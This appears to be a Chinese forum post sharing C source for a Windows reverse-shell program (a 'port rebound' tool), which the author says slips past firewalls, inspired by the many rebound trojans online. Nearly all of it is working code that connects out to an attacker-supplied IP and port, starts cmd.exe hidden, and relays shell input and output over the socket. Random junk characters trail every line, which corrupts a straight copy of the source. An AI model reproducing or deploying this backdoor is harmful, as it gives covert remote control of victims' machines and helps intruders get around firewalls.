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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1WTDF  
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/* ============================== /LH# 3  
Rebound port in Windows NT 7EfLd+  
By wind,2006/7 #mK/xbW  
===============================*/ lc:dKGF6  
#include >V01%fLd  
#include 5qe6/E@  
#`g..3ey  
#pragma comment(lib,"wsock32.lib") 4s:S_Dw  
'\,|B x8Q  
void OutputShell(); <FkoWN  
SOCKET sClient; (G E)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B#A .-nb  
q2$-U&  
void main(int argc,char **argv) rfz\DvV d  
{ _EusY3q  
WSADATA stWsaData; ~!Ar`= [  
int nRet; UI?AM 34  
SOCKADDR_IN stSaiClient,stSaiServer; b|rMmx8vA  
( !THd  
if(argc != 3) g?9IS,Gp  
{ u@@0YUa  
printf("Useage:\n\rRebound DestIP DestPort\n"); =V[ey  
return; *GGiSt  
} ytDp 4x<W)  
m|CB')  
WSAStartup(MAKEWORD(2,2),&stWsaData); pA%Sybw+  
@)IHd6 R  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $:4* ?8 K2  
-|FSdzvg  
stSaiClient.sin_family = AF_INET; 4PcsU HR  
stSaiClient.sin_port = htons(0); IAl X^6s*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `\pv^#5HV9  
Q4[^JQsR2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y8!#G-d5  
{ &Q>tV+*  
printf("Bind Socket Failed!\n"); $;V?xZm[  
return; iPuX  
} Q,`R-?v  
}JWLm.e  
stSaiServer.sin_family = AF_INET; -".q=$f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v 0 3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1FPt%{s3  
e Lj1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) HT% =o}y  
{ Ed>Dhy6\r  
printf("Connect Error!"); nG~#o  
return; oRALhaI  
} p_g#iH!*  
OutputShell(); KT9!R  
} Ocp`6Fj  
Osk'zFiL<  
void OutputShell() CC~:z/4,N  
{ 5Xr<~xr  
char szBuff[1024]; aQTISX;  
SECURITY_ATTRIBUTES stSecurityAttributes; je[1>\3W  
OSVERSIONINFO stOsversionInfo; Nj^:8]D)0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }iE!( l  
STARTUPINFO stStartupInfo; 5dNM:1VoE  
char *szShell; iLIv<VK/d  
PROCESS_INFORMATION stProcessInformation; YR? ujN  
unsigned long lBytesRead; >%?kp[  
\8}!aTC  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mnx')([;W  
[vV5@nP:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;&2f{  
stSecurityAttributes.lpSecurityDescriptor = 0; 'Y;M%  
stSecurityAttributes.bInheritHandle = TRUE; CwL8-z0 Jn  
)/{zTg8$?/  
>[A7oH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iKVJ c=C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a:V2(nY  
YK V?I   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~ 5@bW J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~B704i  
stStartupInfo.wShowWindow = SW_HIDE; -L6YLe%w  
stStartupInfo.hStdInput = hReadPipe; oz[Mt i*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d>wpG^"w  
TilCP"(6D  
GetVersionEx(&stOsversionInfo); # ^q87y  
,Qb(uirl]  
switch(stOsversionInfo.dwPlatformId) {n'+P3\T:  
{ "WfVZBWG$  
case 1: H~ `JAplr  
szShell = "command.com"; 9V0@!M8S  
break; X?gH(mn  
default: RO!em~{D*  
szShell = "cmd.exe"; V\6V&_  
break; !$Whftg  
} N, SbJ Z  
Z.$)#vM5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  {Yc#XP  
d [f,Nu'  
send(sClient,szMsg,77,0); ^NB\[ &  
while(1) =&,<Co1hF  
{ ;Im%L=q9GL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZT d)4f  
if(lBytesRead) *Ud=x^JxO  
{ 1{Kv  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /JGET  
send(sClient,szBuff,lBytesRead,0); 9h/JW_  
} pW,)yo4  
else hYSzr-)  
{ xN +Oca  
lBytesRead=recv(sClient,szBuff,1024,0); ?K!^[aO}=  
if(lBytesRead<=0) break; 0=erf62=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jM5w<T-2/  
} 4^3lG1^YY  
} 3`+Bq+  
s%/x3anz=  
return; {^*K@c  
}
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